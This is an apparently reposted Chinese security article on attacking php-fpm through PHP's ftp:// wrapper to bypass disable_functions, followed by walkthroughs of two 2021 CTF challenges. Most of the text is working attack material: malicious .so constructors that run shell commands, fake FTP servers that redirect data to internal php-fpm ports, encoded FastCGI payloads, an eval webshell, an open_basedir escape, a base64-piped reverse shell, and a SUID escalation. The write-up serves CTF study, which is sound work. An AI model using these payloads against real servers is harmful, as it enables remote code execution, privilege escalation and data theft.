<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    深入 FTP 攻擊 php-fpm 繞過 disable_functions

    VSole2021-10-11 17:07:48

    前言

    本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。

    poc:惡意.so作為php擴展

    php.ini 配置:

    ;/etc/php/7.4/cli/php.inis[PHP]extension=/home/inhann/ant/evil.so;;;;;;;;;;;;;;;;;;;; About php.ini   ;;;;;;;;;;;;;;;;;;;;; PHP's initialization file, generally called php.ini, is responsible for; configuring many of the aspects of PHP's behavior.
    

    惡意 c 文件:

    // /home/inhann/ant/evil.c#define _GNU_SOURCE
    #include <stdlib.h>
    __attribute__ ((__constructor__)) void preload (void){    system("touch /tmp/pwned");}
    

    編譯成 .so:

    gcc evil.c -o evil.so --shared -fPIC# 得到 /home/inhann/ant/evil.so
    

    觸發 惡意 so:

    inhann@ubuntu:~$ php -aPHP Warning:  PHP Startup: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0Interactive mode enabled
    php >
    

    成功觸發:

    poc:直接打開php-fpm

    poc: 直接打 php-fpm ,更改環境變量 PHP_ADMIN_VALUE,加載惡意 .so

    把 php-fpm 改成 tcp 監聽:

    ; /etc/php/7.4/fpm/pool.d/www.conf; Start a new pool named 'www'.; the variable $pool can be used in any directive and will be replaced by the; pool name ('www' here)[www]
    ; Per pool prefix; ............listen = 127.0.0.1 9000; ............
    

    nginx 配置 fastcgi:

    # /etc/nginx/sites-available/default# ............server {        # ............        location ~ \.php$ {                include snippets/fastcgi-php.conf;                include fastcgi.conf;                #fastcgi_pass unix:/run/php/php7.4-fpm.sock;                fastcgi_pass 127.0.0.1:9000;        }        # ............}# ............
    

    依然使用 /home/inhann/ant/evil.c 和 /home/inhann/ant/evil.so

    如何攻擊 php-fpm ,在此不贅述,可以 直接 參考 p 神的文章: Fastcgi協議分析 && PHP-FPM未授權訪問漏洞 && Exp編寫。簡單來說就是直接和 php-fpm 進行 tcp 上的交互,向php-fpm 發送惡意 tcp payload

    改一下 p 神的腳本

    直接改 extension 這個參數(也可以改 extension_dir 和 extension 兩個參數):

    # https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75# ............if __name__ == '__main__':# ............    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',# ............        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On\nextension = /home/inhann/ant/evil.so'    }    response = client.request(params, content)    print(force_text(response))
    

    觸發 惡意 .so

    inhann@ubuntu:~/ant$ python3 fpm.py -p 9000 -c '<?php phpinfo();?>' 127.0.0.1 _PHP message: PHP Warning:  Unknown: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0Primary script unknownStatus: 404 Not FoundContent-type: text/html; charset=UTF-8
    File not found.
    

    成功:

    注意到:如果只是加載 惡意 .so ,不需要提供系統上存在 的 .php 的確切位置,甚至不需要有 .php 文件的存在(這里用 _ 占位)

    poc:ftp使用PASVmode

    poc: ftp 使用 PASV mode 時,轉發 FTP-DATA

    10.0.1.4 中:

    配置 vsftpd

    inhann@ubuntu:/etc$ cat vsftpd.conf | grep -v '^#'listen=NOlisten_ipv6=YESanonymous_enable=YESlocal_enable=YESwrite_enable=YESdirmessage_enable=YESuse_localtime=YESxferlog_enable=YESconnect_from_port_20=YESchroot_local_user=YESallow_writeable_chroot=YESsecure_chroot_dir=/var/run/vsftpd/emptypam_service_name=vsftpdrsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pemrsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.keyssl_enable=NO
    

    用于測試的 用戶

    username : testpasswd : hellohome : /home/test/
    

    /home/test 下面有個 flag.txt

    審一下通過命令終端, passive mode 打出的流量:

    ┌──(inhann?kali)-[~]└─$ ftp 10.0.1.4Connected to 10.0.1.4.220 (vsFTPd 3.0.3)Name (10.0.1.4:inhann): test331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> passivePassive mode on.ftp> put up.txtlocal: up.txt remote: up.txt227 Entering Passive Mode (10,0,1,4,56,2).150 Ok to send data.226 Transfer complete.15 bytes sent in 0.00 secs (52.8824 kB/s)ftp> quit221 Goodbye.
    inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapngtcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes^C41 packets captured41 packets received by filter0 packets dropped by kernelinhann@ubuntu:~$
    

    看控制連接的 TCP 流:

    220 (vsFTPd 3.0.3)USER test331 Please specify the password.PASS hello230 Login successful.SYST215 UNIX Type: L8TYPE I200 Switching to Binary mode.PASV227 Entering Passive Mode (10,0,1,4,56,2).STOR up.txt150 Ok to send data.226 Transfer complete.QUIT221 Goodbye.
    

    (10,0,1,4,56,2). 表示 FTP-DATA 打向的位置,ip 是 10.0.1.4 ,端口是 56*256 + 2 == 14338 ,改變這括號中的內容,就可以使 FTP-DATA 打向任意位置

    看看文件內容上傳時候的上下文報文:

    可見在 150 Ok to send data. 之后,有效報文,即上傳的文件內容,才被打出去,而且文件數據 會被放在一個包中(wireshark 中,稱之為 FTP-DATA),完整地被上傳或下載

    接下來模擬 ftp-server ,在響應 PASV 命令時,返回 (127,0,0,1,0,12345),打向 內網的 127.0.0.1:12345:

    kali 10.0.1.8 中起惡意服務:

    # 10.0.1.8import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')conn.recv(0xff)conn.send(b'331 Please specify the password.\r\n')conn.recv(0xff)conn.send(b'230 Login successful.\r\n')conn.recv(0xff)conn.send(b"215 UNIX Type: L8\r\n")conn.recv(0xff)conn.send(b'200 Switching to Binary mode.\r\n')conn.recv(0xff)conn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')conn.recv(0xff)conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')conn.recv(0xff)conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")
    

    ubuntu 10.0.1.4 中,監聽 12345 端口,并用終端訪問 10.0.1.8 的惡意服務:

    成功轉發 文件內容

    poc:誘導php使用ftp://

    poc: 誘導 php 使用 ftp:// 時發出 PASV 命令

    10.0.1.8 中:

    配置 php.ini

    # /etc/php/7.4/cli/php.ini# ............allow_url_fopen = On# ............
    

    測試 ftp 讀:

    // /home/inhann/kali/ftpread.php<?php@var_dump(file_get_contents($argv[1]));
    

    成功:

    ┌──(inhann?kali)-[~/kali]└─$ php ftpread.php 'ftp://test:hello@10.0.1.4/flag.txt'string(24) "flag{testtestfpt_+++++}
    

    測試 ftp 寫 (vsftpd 默認 不讓寫,要配置 write_enable=YES):

    https://www.php.net/manual/zh/wrappers.ftp.php
    當遠程文件已經存在于 ftp 服務器上,如果嘗試打開并寫入文件的時候, 未指定上下文(context)選項 overwrite,連接會失敗
    file_put_contents(
    string $filename,
    mixed $data,
    int $flags = 0,
    resource $context = ?
    ): int

    寫新文件:

    // /home/inhann/kali/ftpwrite.php<?php@var_dump(file_put_contents($argv[1],$argv[2]));
    

    成功:

    覆蓋已存在文件:

    // /home/inhann/kali/ftpwrite.php<?php$context = stream_context_create(array('ftp' => array('overwrite' => true)));@var_dump(file_put_contents($argv[1],$argv[2],0,$context));
    

    成功:

    ┌──(inhann?kali)-[~/kali]└─$ php ftpwrite.php 'ftp://test:hello@10.0.1.4/test.txt' 'neewwwneeeww'int(12)
    

    審流量

    • 首先審一下 php 通過 ftp:// 打出的流量:
    ┌──(inhann?kali)-[~/kali]└─$ php ftpwrite.php 'ftp://test:hello@10.0.1.4/test.txt' 'neewwwneeeww'int(12)
    inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapngtcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes^C42 packets captured42 packets received by filter0 packets dropped by kernelinhann@ubuntu:~$ ls /home/test/flag.txt  test.txt
    

    看控制連接的 TCP 流:

    220 (vsFTPd 3.0.3)USER test331 Please specify the password.PASS hello230 Login successful.TYPE I200 Switching to Binary mode.SIZE /test.txt550 Could not get file size.EPSV229 Entering Extended Passive Mode (|||22575|)STOR /test.txt150 Ok to send data.226 Transfer complete.QUIT221 Goodbye.
    

    可以看到php 的 ftp://使用的是 EPSV mode

    去看看 EPSV mode 的官方文檔:

    https://datatracker.ietf.org/doc/html/rfc2428

     The EPSV command takes an optional argumentThe format of the response, however, is
     similar to the argument of the EPRT command.  This allows the same
     parsing routines to be used for both commands.
     The response to this command includes only the TCP port number of the listening connection.
     When the EPSV command is issued with no argument, the server will choose the network protocol for the data connection based on the protocol used for the control connection
    

    可見,EPSV 的響應,唯一的有效信息只有 TCP port ,而沒有 host

    嘗試了一下偽造 229 Entering Extended Passive Mode (|1|<ip>|12345|) 這樣的響應,但是 無論 ip 是什么,ftp-data 都只會被打向 控制連接中的服務端,,即如果惡意服務 的 ip 是 10.0.1.4 則無論如何,FTP-DATA 只會被發往 10.0.1.4:12345

    因而得出結論:使用 EPSV mode 不能進行 FTP-DATA 的任意轉發

    那 php 中使用 ftp:// 難道就真的不能 FTP-DATA 轉發了嗎?

    閱讀 php 源碼 加 查閱資料可知,php 中ftp:// 首先使用 EPSV mode ,但是也有機會使用 PASV mode(這是寫在源碼中的,和 php.ini 無關):

    // ext/standard/ftp_fopen_wrapper.c//............/* {{{ php_fopen_do_pasv */static unsigned short php_fopen_do_pasv(php_stream *stream, char *ip, size_t ip_size, char **phoststart){// ............
    #ifdef HAVE_IPV6    /* We try EPSV first, needed for IPv6 and works on some IPv4 servers */    php_stream_write_string(stream, "EPSV\r\n");    result = GET_FTP_RESULT(stream);
        /* check if we got a 229 response */    if (result != 229) {#endif        /* EPSV failed, let's try PASV */        php_stream_write_string(stream, "PASV\r\n");        result = GET_FTP_RESULT(stream);
            /* make sure we got a 227 response */        if (result != 227) {            return 0;        }        // ...........    }    // ............}/* }}} */
    // main/php_config.h/* Whether to enable IPv6 support */#define HAVE_IPV6 1
    

    注意到,如果使用 EPSV 命令,但是返回結果不是 229,那么 php 的 ftp:// 就會采用 PASV 命令

    介于此,我們更改一下 惡意 ftp-server :

    # 10.0.1.8import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')print(conn.recv(0xff))conn.send(b'331 Please specify the password.\r\n')print(conn.recv(0xff))conn.send(b'230 Login successful.\r\n')print(conn.recv(0xff))conn.send(b'200 Switching to Binary mode.\r\n')print(conn.recv(0xff))conn.send(b"550 Could not get file size.\r\n")print(conn.recv(0xff))# responese with 000 , not 229conn.send(b'000 use PASV then\r\n')# then php will send PASV commandprint(conn.recv(0xff))# response to PASV commandconn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')print(conn.recv(0xff))conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')print(conn.recv(0xff))conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")
    

    在遇到 EPSV 命令的時候,返回 一個 非 229 的響應,這里隨便取了個 000

    實驗:

    kali 10.0.1.8:

    ubuntu 10.0.1.4:

    成功轉發 php 中 ftp:// 的 FTP-DATA

    FTP攻擊php-fpm繞過

    FTP 攻擊 php-fpm 繞過 disable_functions

    本文標題中所述的攻擊方法,根據上面幾個 poc 也就可以自然而然地推導出來了。

    主要步驟如下:

    1. 寫 .so
    2. 構造 打 php-fpm 的 tcp payload
    3. file_put_contents 使用 ftp:// 將 payload 打向 php-fp

    [藍帽杯2021]

    [藍帽杯 2021]One Pointer PHP

    看PHP與 array 相關的源碼:

    https://www.hoohack.me/2016/02/15/understanding-phps-internal-array-implementation-ch

    //zend_types.hstruct _zend_array {    zend_refcounted_h gc;    union {        struct {            ZEND_ENDIAN_LOHI_4(                zend_uchar    flags,                zend_uchar    _unused,                zend_uchar    nIteratorsCount,                zend_uchar    _unused2)        } v;        uint32_t flags;    } u;    uint32_t          nTableMask;    Bucket           *arData;    uint32_t          nNumUsed;    uint32_t          nNumOfElements;    uint32_t          nTableSize;    uint32_t          nInternalPointer;    zend_long         nNextFreeElement;    dtor_func_t       pDestructor;};
    

    nNextFreeElement 是下一個可以使用的 數字鍵值

    //zend_long.htypedef int64_t zend_long;
    

    是 8 byte 的有符號整型,求出最大值:

    hex(eval("0b"+"1"*63))'0x7fffffffffffffff'
    

    poc

    <?php$a = array(0x7fffffffffffffff => "a");var_dump($a[] = 1);//NULL
    

    因而 為了調用 eval($_GET["backdoor"]);,生成特殊的 序列:

    <?phpclass User{    public $count;}$u = new User;$u->count = 0x7fffffffffffffff - 1;echo serialize($u);?>
    

    成功 phpinfo

    看 disable functions

    這些危險函數可用:

    iconv_strlencreate_functionassertcall_user_func_arraycall_user_funcimap_mailmb_send_mailfile_put_contents
    看 open_basedir/var/www/html
    

    看根目錄文件:

    ?backdoor=print_r(scandir('glob:///*'));
    Array(    [0] => bin    [1] => boot    [2] => dev    [3] => etc    [4] => flag    [5] => home    [6] => lib    [7] => lib64    [8] => media    [9] => mnt    [10] => opt    [11] => proc    [12] => root    [13] => run    [14] => sbin    [15] => srv    [16] => sys    [17] => tmp    [18] => usr    [19] => var)
    

    可以確定 flag 在這里

    有一個 easy_bypass 模塊

    extension_dir

    /usr/local/lib/php/extensions/no-debug-non-zts-20190902
    ?backdoor=print_r(get_extension_funcs('easy_bypass'));//easy_bypass_hide
    

    為了繞過open_basedir,用久遠的 twitter 上的 payload:

    ?backdoor=mkdir('test');
    ?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(getcwd());
    

    來到 根目錄

    ?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(substr(base_convert(fileperms("flag"),10,8),3));//700
    ?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(fileowner("flag"));//0
    

    因而 flag 是 root 所有的,而且權限是 700,

    也就是說只有稱為了 root 才能 讀這個 flag

    看看 擴展目錄:

    Array(    [0] => .    [1] => ..    [2] => easy_bypass.so    [3] => opcache.so    [4] => sodium.so)
    

    把 easy_bypass.so 拿下來

    GET /add_api.php?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile('/usr/local/lib/php/extensions/no-debug-non-zts-20190902/easy_bypass.so'); HTTP/1.1Host: e573cf21-9935-49be-8a0b-66348da8eae7.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7DConnection: close
    

    看了一下,發現不會pwn。。。

    接著看 phpinfo 搜集信息

    看是 nginx + fastcgi ,讀一下配置文件

    # /etc/nginx/sites-available/defaultserver {    listen 80 default_server;    listen [::]:80 default_server;
        root /var/www/html;
        # Add index.php to the list if you are using PHP    index index.php index.html index.htm index.nginx-debian.html;
        server_name _;
        location / {        # First attempt to serve request as file, then        # as directory, then fall back to displaying a 404.        try_files $uri $uri/ =404;    }
        # pass PHP scripts to FastCGI server    #    location ~ \.php$ {    root           html;    fastcgi_pass   127.0.0.1:9001;    fastcgi_index  index.php;    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;    include        fastcgi_params;    }
    }
    

    用 ftp:// 打 php-fpm

    寫一個 ftp.php

    <?phpshow_source(__FILE__);@mkdir('test');chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");$context = stream_context_create(array('ftp' => array('overwrite' => true)));@var_dump(file_put_contents($_GET['url'],$_POST['payload'],0,$context));@eval($_REQUEST['code']);?>
    

    base64encode 一下:

    PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=
    

    傳上去

    GET /add_api.php?backdoor=file_put_contents('ftp.php',base64_decode('PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=')); HTTP/1.1
    

    遠程開個 ftp 服務,試試看能不能出網:

    POST /ftp.php?url=ftp://aa:passwd@inhann.top/test.txt HTTP/1.1............payload=hello
    

    發現 遠程主機上確實多了一個 test.txt 文件,說明可以出網

    抓一下 ftp 的包看一看

    據此偽造 ftp-server ,向 127.0.0.1:9001 發送 payload

    在 遠程服務器上跑:

    import socketprint("[+] listening ...........")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 9999))s.listen(1)conn, addr = s.accept()conn.send(b'220 (vsFTPd 3.0.3)\r\n')print(conn.recv(0xff))conn.send(b'331 Please specify the password.\r\n')print(conn.recv(0xff))conn.send(b'230 Login successful.\r\n')print(conn.recv(0xff))conn.send(b'200 Switching to Binary mode.\r\n')print(conn.recv(0xff))conn.send(b"550 Could not get file size.\r\n")print(conn.recv(0xff))conn.send(b'000 use PASV then\r\n')print(conn.recv(0xff))conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9001).\r\n')print(conn.recv(0xff))conn.send(b'150 Ok to send data.\r\n')# sending payload .....conn.send(b'226 Transfer complete.\r\n')print(conn.recv(0xff))conn.send(b'221 Goodbye.\r\n')conn.close()print("[+] completed ~~")
    

    改一改 p 神的腳本,生成 payload:

    # ............       def request(self, nameValuePairs={}, post=''):        # if not self.__connect():        #     print('connect failure! please check your fasctcgi-server !!')        #     return# ............    if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
            # 魔改start        from urllib.parse import quote        print(quote(request))        exit(0)        # 魔改end
            self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''# ............        'CONTENT_LENGTH': "%d" % len(content),        'PHP_ADMIN_VALUE': 'extension = /var/www/html/evil.so',# ............
    root@ubuntu:~# python3 ~/phith0n/fpm.py -p 9001 127.0.0.1 _%01%0133%00%08%00%00%00%01%00%00%00%00%00%00%01%0433%01%92%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%02SCRIPT_FILENAME/_%0B%01SCRIPT_NAME_%0C%00QUERY_STRING%0B%01REQUEST_URI_%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%0F8PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aextension%20%3D%20/var/www/html/evil.so%01%0433%00%00%00%00%01%0533%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%0533%00%00%00%00
    

    寫個 惡意 .so ,上傳

    #define _GNU_SOURCE
    #include <stdlib.h>
    __attribute__ ((__constructor__)) void preload (void){    system("touch /var/www/html/pwned");}
    root@ubuntu:~/Scripts/php/ssrf/FPM-rce# gcc evil.c -o evil.so --shared -fPIC
    from urllib.parse import quotec = quote(open("~/php/ssrf/FPM-rce/evil.so","rb").read())open("payload.txt","w").write(c)
    POST /ftp.php?url=/var/www/html/evil.so HTTP/1.1
    

    成功上傳

    訪問惡意 server

    成功執行 惡意 .so

    改一下 evil.c ,去反彈shell

    // /home/inhann/ant/evil.c#define _GNU_SOURCE
    #include <stdlib.h>
    __attribute__ ((__constructor__)) void preload (void){    system("echo rjeaorm+JiAvZGV2RFARsgataL3RjcC80Nyafae1IDA+JjEK | base64 -d | bash");}
    

    成功拿到 shell

    開始提權:

    上傳一個 搜集信息的腳本 LinEnum,運行,把結果寫到 r.txt 當中:

    看到 /usr/local/bin/php 可以 suid 提權

    www-data@3aa034712807:~/html$ php -r 'chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile("/flag");'<.");ini_set("open_basedir","/");readfile("/flag");'flag{b68c5fa5-ca7b-4564-a7d3-6b663d238e00}
    

    [WMCTF2021]

    [WMCTF2021] Make PHP Great Again And Again

    復現一下最近的 WMCTF

    X-Powered-By PHP/8.0.9
    

    phpinfo 不能用,會 500

    用 get_cfg_var 獲取 config var

    get_cfg_var(string $option): mixed
    獲取 PHP 配置選項 option 的值。
    此函數不會返回 PHP 編譯的配置信息,或從 Apache 配置文件讀取。
    檢查系統是否使用了一個配置文件,并嘗試獲取 cfg_file_path 的配置設置的值。如果有效,將會使用一個配置文件。

    看 disable_functions ,看看哪些函數能用:

    iconv_strlencreate_functionassertcall_user_func_arraycall_user_funcimap_mailmb_send_mailfile_put_contentsreadfilefile_get_contentsgetimagesizeunlinkstream_socket_server
    

    看 open_basedir

    /var/www/html/
    

    看 allow_url_fopen 和 allow_url_include

    allow_url_fopen => 1allow_url_include => 0
    Server: nginx/1.21.0
    

    掃內網 端口:

    <?phpfor($i=0;$i<65535;$i++) {    @$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);    if($ee2 === "Address already in use") {        var_dump($i);    }}
    http://172.19.142.114:20001/?glzjin=for%28%24i%3D0%3B%24i%3C65535%3B%24i%2B%2B%29%20%7B%40%24t%3Dstream%5fsocket%5fserver%28%22tcp%3A%2F%2F0.0.0.0%3A%22.%24i%2C%24ee%2C%24ee2%29%3Bif%28%24ee2%20%3D%3D%3D%20%22Address%20already%20in%20use%22%29%20%7Bvar%5fdump%28%24i%29%3B%7D%7D
    

    有兩個端口始終開放

    int(80) int(11451)
    

    11451 就是 php-fpm 開的端口

    /?glzjin=print_r(fileowner("."));
    

    返回 0 ,所以 /var/www/html 是 root 所有的,通過 fileperms 函數,得知 這個目錄的 權限為 drwxr-xr-x

    不能寫文件

    嘗試了一下 連接遠程 ftp-server,發現不能出網

    可以用 stream_socket_server 偽造一個 ftp-server,然后 file_put_contents 用 ftp:// 打

    ftp-server:

    <?php$socket = stream_socket_server("tcp://0.0.0.0:9999", $errno, $errstr);if (!$socket) {    echo "$errstr ($errno)<br />\n";} else {    print_r("[+] listening .......\n");    while ($conn = stream_socket_accept($socket)) {        print_r("[+] catch .......\n");        fwrite($conn, "220 (vsFTPd 3.0.3)\r\n");        echo fgets($conn);        fwrite($conn, "331 Please specify the password.\r\n");        echo fgets($conn);        fwrite($conn, "230 Login successful.\r\n");        echo fgets($conn);        fwrite($conn, "200 Switching to Binary mode.\r\n");        echo fgets($conn);        fwrite($conn, "550 Could not get file size.\r\n");        echo fgets($conn);        fwrite($conn, "000 use PASV then\r\n");        echo fgets($conn);        fwrite($conn, "227 Entering Passive Mode (127,0,0,1,0,11451).\r\n");        echo fgets($conn);        fwrite($conn, "150 Ok to send data.\r\n");        // sending payload ......        fwrite($conn, "226 Transfer complete.\r\n");        echo fgets($conn);        fwrite($conn, "221 Goodbye.\r\n");        fclose($conn);        print_r("[+] completed ~~\n");  }  fclose($socket);}?>
    

    本地實驗成功:

    先在靶機上把這個 ftp-server 跑起來

    端口 掃了一下 9999 確實開著

    接下來生成 打 php-fpm 的 payload

    魔改一下 p 神的腳本,先修改一下 open_basedir,和 extension ,然后上傳一個 惡意 擴展 .so:

    'PHP_ADMIN_VALUE': 'allow_url_include = On\nopen_basedir = /\nextension = /tmp/evil.so'
    root@ubuntu:~$ python -u "/Scripts/fpm_code.py" 127.0.0.1 '/var/www/html/index.php'
    %01%01%B7%DE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B7%DE%02%05%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9998%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%40PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aopen_basedir%20%3D%20/%0Aextension%20%3D%20/tmp/evil.so%01%04%B7%DE%00%00%00%00%01%05%B7%DE%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%05%B7%DE%00%00%00%00
    

    注意,一次 open_basedir = /和 extension = /tmp/evil.so ,便是全局的配置

    寫個提權用的腳本,可能有用:

    寫惡意 .so

    #define _GNU_SOURCE
    #include <stdlib.h>
    __attribute__ ((__constructor__)) void preload (void){    system("ls / -la > /tmp/r.txt");    system("chmod 777 /tmp/linenum.sh");    system("/tmp/linenum.sh > /tmp/r2.txt");}// gcc evil.c -o evil.so --shared -fPIC
    

    因為設置 open_basedir 的時候已經設置過 extension,所以直接普通訪問 就可以觸發:

    很顯然要提權,讀一讀提權信息搜集腳本跑后得到的結果:

    SUID 提權,直接用 cat 就能讀 flag

    改一改 惡意 擴展 .so ,加個 cat /flag > /tmp/r3.txt,最終得到 flag


    phpftp
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
    一日,某公司接到來自監管單位的通報,表示該公司的網站存在S情違規內容......于是乎我又得出發了,先是向客戶要到了網站的地址先看看哪里存在違規的內容,一頓亂翻網站上的子頁面都顯示正常,回到首頁按下F12果然網站的關鍵字標簽那被修改了。
    一、事件說明 一日,某公司接到來自監管單位的通報,表示該公司的網站存在S情違規內容......于是乎我又得出發了,先是向客戶要到了網站的地址先看看哪里存在違規的內容,一頓亂翻網站上的子頁面都顯示正常,回到首頁按下F12果然網站的關鍵字標簽那被修改了。
    因此當不方便進行直接傳輸時,同時目標主機是能有網絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸的目的。此篇文章,我會對互聯網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的。
    轉自:計算機與網絡安全PHP可以直接訪問本地服務器路徑以及在服務器上執行腳本文件。合理地限制PHP的訪問范圍
    如果Web系統中存在服務器請求偽造漏洞,不僅會影響系統本身,而且會影響到與其相關的其他系統服務。一個被忽視的服務器請求偽造漏洞,很容易引起蝴蝶效應,可能給整個系統帶來長期的巨大危害。
    在文章開頭部分,先對phar反序列化做一些小小的分析。
